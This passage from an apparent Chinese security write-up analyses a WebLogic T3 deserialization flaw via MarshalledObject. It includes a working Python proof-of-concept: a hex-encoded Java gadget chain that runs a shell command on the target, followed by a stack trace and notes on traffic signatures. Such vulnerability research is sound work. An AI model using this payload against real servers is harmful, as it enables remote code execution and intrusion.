696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'` ` # ------------------------------------------------------` `payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'` `payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)` `sock.send(bytes.fromhex(payload))` `time.sleep(delay)` `try:` `res = sock.recv(4096)` `print(res)` `return b'org.apache.commons.collections.functors.InvokerTransformer' in res, {'msg': 'finish.'}` `except socket.timeout:` `return False, {'msg': 'connection timeout.'}`` ``if __name__ == "__main__":` `ip = "127.0.0.1"` `port = 7001` `light_up(dip=ip,dport=port)`
同样跟一下代码:
`readResolve:58, MarshalledObject (weblogic.corba.utils)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:57, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:601, Method (java.lang.reflect)``invokeReadResolve:1091, ObjectStreamClass (java.io)``readOrdinaryObject:1805, ObjectInputStream (java.io)``readObject0:1348, ObjectInputStream (java.io)``readObject:370, ObjectInputStream (java.io)``readObject:66, InboundMsgAbbrev (weblogic.rjvm)``read:38, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)``init:213, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:967, SocketMuxer (weblogic.socket)``readReadySocket:899, SocketMuxer (weblogic.socket)``processSockets:130, PosixSocketMuxer (weblogic.socket)``run:29, SocketReaderRequest (weblogic.socket)``execute:42, SocketReaderRequest (weblogic.socket)``execute:145, ExecuteThread (weblogic.kernel)``run:117, ExecuteThread (weblogic.kernel)`
一样通过InboundMsgAbbrev为入口进行数据的read操作,由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化:
流量特征上,出现的类变为weblogic.corba.utils.MarshalledObject,而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl,故weblogicScaner的检测项变为了org.apache.commons.collections.functors.InvokerTransformer
后记
Extractor导致的漏洞放在下一篇。
参考文章:
https://xz.aliyun.com/t/10365#toc-6
https://xz.aliyun.com/t/10563#toc-10
https://www.anquanke.com/post/id/226070#h2-15